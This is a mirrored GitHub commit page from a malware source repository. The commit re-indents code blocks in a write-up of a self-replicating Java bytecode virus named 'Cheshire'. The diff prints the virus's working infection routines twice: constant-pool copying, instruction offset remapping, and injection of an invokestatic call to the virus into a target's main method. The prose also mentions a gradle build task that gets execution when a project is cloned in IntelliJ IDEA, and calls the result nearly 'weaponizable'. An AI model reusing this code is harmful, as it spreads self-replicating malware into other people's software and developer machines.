mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
Fixed indentation in code blocks
This commit is contained in:
parent
b6467a43b8
commit
dbdd507db4
@ -101,142 +101,141 @@ This is probably the easiest part of the whole process. Our code for doing this
|
||||
|
||||
```java
|
||||
public static int copyConstant(HashMap<String, Object> origin, int origin_index, HashMap<String, Object> destination){
|
||||
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
|
||||
byte[] orig_constant = constant_pool[origin_index-1];
|
||||
|
||||
//Create a map between the old and new constant pools
|
||||
//This will help us avoid copying too many vars over and being wasteful
|
||||
if(origin.get("constant_pool_map") == null){
|
||||
HashMap<Integer, Integer> constant_pool_map = new HashMap<Integer, Integer>();
|
||||
origin.put("constant_pool_map", constant_pool_map);
|
||||
}
|
||||
HashMap<Integer, Integer> constant_pool_map = (HashMap<Integer, Integer>) origin.get("constant_pool_map");
|
||||
if(constant_pool_map.keySet().contains(origin_index)){
|
||||
return constant_pool_map.get(origin_index);
|
||||
}
|
||||
int const_tag = orig_constant[0];
|
||||
if(const_tag == 1){
|
||||
int new_index = addToPool(destination, orig_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 7){
|
||||
ByteBuffer b = ByteBuffer.allocate(3);
|
||||
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_name_index = copyConstant(origin, orig_name_index, destination);
|
||||
b.put(orig_constant[0]);
|
||||
b.putShort((short) new_name_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index;
|
||||
if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){
|
||||
byte[] selfClassBytes = (byte[]) destination.get("this_class");
|
||||
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
|
||||
new_index = selfBytes.getShort();
|
||||
}
|
||||
else{
|
||||
new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
}
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 9 || const_tag == 10 || const_tag == 11){
|
||||
ByteBuffer b = ByteBuffer.allocate(5);
|
||||
int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_class_index = copyConstant(origin, orig_class_index, destination);
|
||||
String thisClass = getClassName(origin);
|
||||
byte[] methodClassBytes = constant_pool[orig_class_index-1];
|
||||
ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes);
|
||||
methodClassBuffer.get();
|
||||
int classNameIndex = methodClassBuffer.getShort();
|
||||
String methodClassName = getUtf8Constant(classNameIndex, origin);
|
||||
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
|
||||
byte[] orig_constant = constant_pool[origin_index-1];
|
||||
|
||||
if(methodClassName.equals(getClassName(origin))){
|
||||
byte[] selfClassBytes = (byte[]) destination.get("this_class");
|
||||
byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool");
|
||||
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
|
||||
new_class_index = selfBytes.getShort();
|
||||
}
|
||||
b.put(orig_constant[0]);
|
||||
b.putShort((short) new_class_index);
|
||||
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
||||
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
|
||||
b.putShort((short) new_name_and_type_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 8){
|
||||
ByteBuffer b = ByteBuffer.allocate(3);
|
||||
b.put(orig_constant[0]);
|
||||
int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_string_index = copyConstant(origin, orig_string_index, destination);
|
||||
b.putShort((short) new_string_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
|
||||
}
|
||||
else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){
|
||||
int new_index = addToPool(destination, orig_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 12){
|
||||
ByteBuffer b = ByteBuffer.allocate(5);
|
||||
b.put(orig_constant[0]);
|
||||
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_name_index = copyConstant(origin, orig_name_index, destination);
|
||||
b.putShort((short) new_name_index);
|
||||
int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
||||
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
||||
b.putShort((short) new_descriptor_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 15){
|
||||
ByteBuffer b = ByteBuffer.allocate(4);
|
||||
b.put(orig_constant[0]);
|
||||
b.put(orig_constant[1]);
|
||||
int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF));
|
||||
int new_reference_index = copyConstant(origin, old_reference_index, destination);
|
||||
b.putShort((short) new_reference_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 16){
|
||||
ByteBuffer b = ByteBuffer.allocate(3);
|
||||
b.put(orig_constant[0]);
|
||||
int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
||||
b.putShort((short) new_descriptor_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 18){
|
||||
ByteBuffer b = ByteBuffer.allocate(5);
|
||||
b.put(orig_constant[0]);
|
||||
b.put(orig_constant[1]);
|
||||
b.put(orig_constant[2]);
|
||||
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
||||
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
|
||||
b.putShort((short) new_name_and_type_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else{
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
//Create a map between the old and new constant pools
|
||||
//This will help us avoid copying too many vars over and being wasteful
|
||||
if(origin.get("constant_pool_map") == null){
|
||||
HashMap<Integer, Integer> constant_pool_map = new HashMap<Integer, Integer>();
|
||||
origin.put("constant_pool_map", constant_pool_map);
|
||||
}
|
||||
HashMap<Integer, Integer> constant_pool_map = (HashMap<Integer, Integer>) origin.get("constant_pool_map");
|
||||
if(constant_pool_map.keySet().contains(origin_index)){
|
||||
return constant_pool_map.get(origin_index);
|
||||
}
|
||||
int const_tag = orig_constant[0];
|
||||
if(const_tag == 1){
|
||||
int new_index = addToPool(destination, orig_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 7){
|
||||
ByteBuffer b = ByteBuffer.allocate(3);
|
||||
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_name_index = copyConstant(origin, orig_name_index, destination);
|
||||
b.put(orig_constant[0]);
|
||||
b.putShort((short) new_name_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index;
|
||||
if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){
|
||||
byte[] selfClassBytes = (byte[]) destination.get("this_class");
|
||||
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
|
||||
new_index = selfBytes.getShort();
|
||||
}
|
||||
else{
|
||||
new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
}
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 9 || const_tag == 10 || const_tag == 11){
|
||||
ByteBuffer b = ByteBuffer.allocate(5);
|
||||
int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_class_index = copyConstant(origin, orig_class_index, destination);
|
||||
String thisClass = getClassName(origin);
|
||||
byte[] methodClassBytes = constant_pool[orig_class_index-1];
|
||||
ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes);
|
||||
methodClassBuffer.get();
|
||||
int classNameIndex = methodClassBuffer.getShort();
|
||||
String methodClassName = getUtf8Constant(classNameIndex, origin);
|
||||
|
||||
if(methodClassName.equals(getClassName(origin))){
|
||||
byte[] selfClassBytes = (byte[]) destination.get("this_class");
|
||||
byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool");
|
||||
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
|
||||
new_class_index = selfBytes.getShort();
|
||||
}
|
||||
b.put(orig_constant[0]);
|
||||
b.putShort((short) new_class_index);
|
||||
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
||||
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
|
||||
b.putShort((short) new_name_and_type_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 8){
|
||||
ByteBuffer b = ByteBuffer.allocate(3);
|
||||
b.put(orig_constant[0]);
|
||||
int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_string_index = copyConstant(origin, orig_string_index, destination);
|
||||
b.putShort((short) new_string_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){
|
||||
int new_index = addToPool(destination, orig_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 12){
|
||||
ByteBuffer b = ByteBuffer.allocate(5);
|
||||
b.put(orig_constant[0]);
|
||||
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_name_index = copyConstant(origin, orig_name_index, destination);
|
||||
b.putShort((short) new_name_index);
|
||||
int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
||||
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
||||
b.putShort((short) new_descriptor_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 15){
|
||||
ByteBuffer b = ByteBuffer.allocate(4);
|
||||
b.put(orig_constant[0]);
|
||||
b.put(orig_constant[1]);
|
||||
int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF));
|
||||
int new_reference_index = copyConstant(origin, old_reference_index, destination);
|
||||
b.putShort((short) new_reference_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 16){
|
||||
ByteBuffer b = ByteBuffer.allocate(3);
|
||||
b.put(orig_constant[0]);
|
||||
int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
||||
b.putShort((short) new_descriptor_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 18){
|
||||
ByteBuffer b = ByteBuffer.allocate(5);
|
||||
b.put(orig_constant[0]);
|
||||
b.put(orig_constant[1]);
|
||||
b.put(orig_constant[2]);
|
||||
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
||||
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
|
||||
b.putShort((short) new_name_and_type_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else{
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Essentially we create a function that keeps track of constants in both the origin and the target's constant pools. Whenever
|
||||
@ -254,36 +253,35 @@ merely a matter of adding it to an index of methods, the real challenge is in en
|
||||
|
||||
The workhorse of the virus for this is the instructionIndex method:
|
||||
```java
|
||||
public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
|
||||
int oldposition = 0;
|
||||
int newposition = 0;
|
||||
int remainder = 0;
|
||||
int instruction_pos = 0;
|
||||
int list_offset = 0;
|
||||
if(oldList.size() != newList.size()){
|
||||
list_offset = newList.size() - oldList.size();
|
||||
}
|
||||
// Step one: Convert old index
|
||||
while(oldposition < index){
|
||||
if(oldposition + oldList.get(instruction_pos).length <= index){
|
||||
oldposition += oldList.get(instruction_pos).length;
|
||||
instruction_pos += 1;
|
||||
}
|
||||
else if(oldposition + oldList.get(instruction_pos).length > index){
|
||||
oldposition += oldList.get(instruction_pos).length;
|
||||
instruction_pos += 1;
|
||||
remainder = oldposition - index;
|
||||
oldposition -= remainder;
|
||||
}
|
||||
}
|
||||
instruction_pos += list_offset;
|
||||
//Step two: Convert instruction_pos + remainder to new position
|
||||
for(int i = 0; i < instruction_pos; i++){
|
||||
newposition += newList.get(i).length;
|
||||
}
|
||||
return newposition;
|
||||
public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
|
||||
int oldposition = 0;
|
||||
int newposition = 0;
|
||||
int remainder = 0;
|
||||
int instruction_pos = 0;
|
||||
int list_offset = 0;
|
||||
if(oldList.size() != newList.size()){
|
||||
list_offset = newList.size() - oldList.size();
|
||||
}
|
||||
|
||||
// Step one: Convert old index
|
||||
while(oldposition < index){
|
||||
if(oldposition + oldList.get(instruction_pos).length <= index){
|
||||
oldposition += oldList.get(instruction_pos).length;
|
||||
instruction_pos += 1;
|
||||
}
|
||||
else if(oldposition + oldList.get(instruction_pos).length > index){
|
||||
oldposition += oldList.get(instruction_pos).length;
|
||||
instruction_pos += 1;
|
||||
remainder = oldposition - index;
|
||||
oldposition -= remainder;
|
||||
}
|
||||
}
|
||||
instruction_pos += list_offset;
|
||||
//Step two: Convert instruction_pos + remainder to new position
|
||||
for(int i = 0; i < instruction_pos; i++){
|
||||
newposition += newList.get(i).length;
|
||||
}
|
||||
return newposition;
|
||||
}
|
||||
```
|
||||
|
||||
There's no magic here. Essentially we just need to translate the original position of some code
|
||||
@ -312,66 +310,63 @@ The last part of our process after we copy our methods is actually inject instru
|
||||
write and have no control over. The good news for me is that this didn't require too much extra work.
|
||||
|
||||
```java
|
||||
public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
|
||||
//Are there any functions called main?
|
||||
//Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
|
||||
//We should parse through the constant pool, look for the methodref with our method name and capture the index
|
||||
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
|
||||
int methodRefIndex;
|
||||
byte[] instruction_bytes = new byte[3];
|
||||
public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
|
||||
//Are there any functions called main?
|
||||
//Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
|
||||
//We should parse through the constant pool, look for the methodref with our method name and capture the index
|
||||
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
|
||||
int methodRefIndex;
|
||||
byte[] instruction_bytes = new byte[3];
|
||||
|
||||
//Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef
|
||||
//For that method manually.
|
||||
//Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef
|
||||
//For that method manually.
|
||||
|
||||
//Find the Constant Pool index of the MethodRef for our virus.
|
||||
for(int i = 0; i < constant_pool.length; i++){
|
||||
byte[] constant = constant_pool[i];
|
||||
//Find the Constant Pool index of the MethodRef for our virus.
|
||||
for(int i = 0; i < constant_pool.length; i++){
|
||||
byte[] constant = constant_pool[i];
|
||||
|
||||
if(constant[0] == (byte) 10){
|
||||
byte[] natindexbytes = new byte[2];
|
||||
System.arraycopy(constant, 3 , natindexbytes, 0, 2);
|
||||
int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF));
|
||||
byte[] NameAndType = constant_pool[NameAndTypeIndex-1];
|
||||
byte[] nameindexbytes = new byte[2];
|
||||
System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 );
|
||||
int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF));
|
||||
String methodName = getUtf8Constant(NameIndex, origin);
|
||||
if(methodName.equals("Cheshire")){
|
||||
methodRefIndex = i+1;
|
||||
methodRefIndex = copyConstant(origin, methodRefIndex, destination);
|
||||
ByteBuffer bb = ByteBuffer.allocate(2);
|
||||
bb.putShort((short) methodRefIndex);
|
||||
byte[] index_bytes = bb.array();
|
||||
byte invokestatic = (byte) 184;
|
||||
instruction_bytes[0] = invokestatic;
|
||||
instruction_bytes[1] = index_bytes[0];
|
||||
instruction_bytes[2] = index_bytes[1];
|
||||
ArrayList<byte[]> inject_instructions = new ArrayList<byte[]>();
|
||||
inject_instructions.add(instruction_bytes);
|
||||
destination.put("inject_instructions", inject_instructions);
|
||||
}
|
||||
if(constant[0] == (byte) 10){
|
||||
byte[] natindexbytes = new byte[2];
|
||||
System.arraycopy(constant, 3 , natindexbytes, 0, 2);
|
||||
int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF));
|
||||
byte[] NameAndType = constant_pool[NameAndTypeIndex-1];
|
||||
byte[] nameindexbytes = new byte[2];
|
||||
System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 );
|
||||
int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF));
|
||||
String methodName = getUtf8Constant(NameIndex, origin);
|
||||
if(methodName.equals("Cheshire")){
|
||||
methodRefIndex = i+1;
|
||||
methodRefIndex = copyConstant(origin, methodRefIndex, destination);
|
||||
ByteBuffer bb = ByteBuffer.allocate(2);
|
||||
bb.putShort((short) methodRefIndex);
|
||||
byte[] index_bytes = bb.array();
|
||||
byte invokestatic = (byte) 184;
|
||||
instruction_bytes[0] = invokestatic;
|
||||
instruction_bytes[1] = index_bytes[0];
|
||||
instruction_bytes[2] = index_bytes[1];
|
||||
ArrayList<byte[]> inject_instructions = new ArrayList<byte[]>();
|
||||
inject_instructions.add(instruction_bytes);
|
||||
destination.put("inject_instructions", inject_instructions);
|
||||
}
|
||||
}
|
||||
|
||||
byte[][] methods = (byte[][]) destination.get("methods");
|
||||
for(int i = 0; i < methods.length; i++){
|
||||
ByteBuffer b = ByteBuffer.wrap(methods[i]);
|
||||
b.get(new byte[2]);
|
||||
int nameIndex = b.getShort();
|
||||
b.get(new byte[4]);
|
||||
String methodName = getUtf8Constant(nameIndex, destination);
|
||||
if(methodName.equals("main")){
|
||||
try {
|
||||
copyMethod((HashMap<String, Object>) destination.clone(), i, destination);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
byte[][] methods = (byte[][]) destination.get("methods");
|
||||
for(int i = 0; i < methods.length; i++){
|
||||
ByteBuffer b = ByteBuffer.wrap(methods[i]);
|
||||
b.get(new byte[2]);
|
||||
int nameIndex = b.getShort();
|
||||
b.get(new byte[4]);
|
||||
String methodName = getUtf8Constant(nameIndex, destination);
|
||||
if(methodName.equals("main")){
|
||||
try {
|
||||
copyMethod((HashMap<String, Object>) destination.clone(), i, destination);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Since our main virus method is never called by any of the other functions we've written, we have to copy the MethodRef
|
||||
for that function to the target ourselves. We need to do this to use the invokestatic opcode, which is what we're sticking with
|
||||
@ -408,7 +403,6 @@ void autoBuild(){
|
||||
build{
|
||||
autoBuild();
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
We can quickly talk about what this does. The trick is very simple. We can define a custom task for gradle
|
||||
@ -420,4 +414,3 @@ get execution on clone in IntelliJ IDEA.*** Give it a try :)
|
||||
The end result of this effort is a set of self-replicating bytecode that is only a few steps away from being pretty
|
||||
weaponizable. There are a lot of improvements I would have made to this code if I had the time, but hopefully a codebase
|
||||
to create viral code just by using an IDE as normal is enough for now. Hope you enjoyed. Until next time.
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user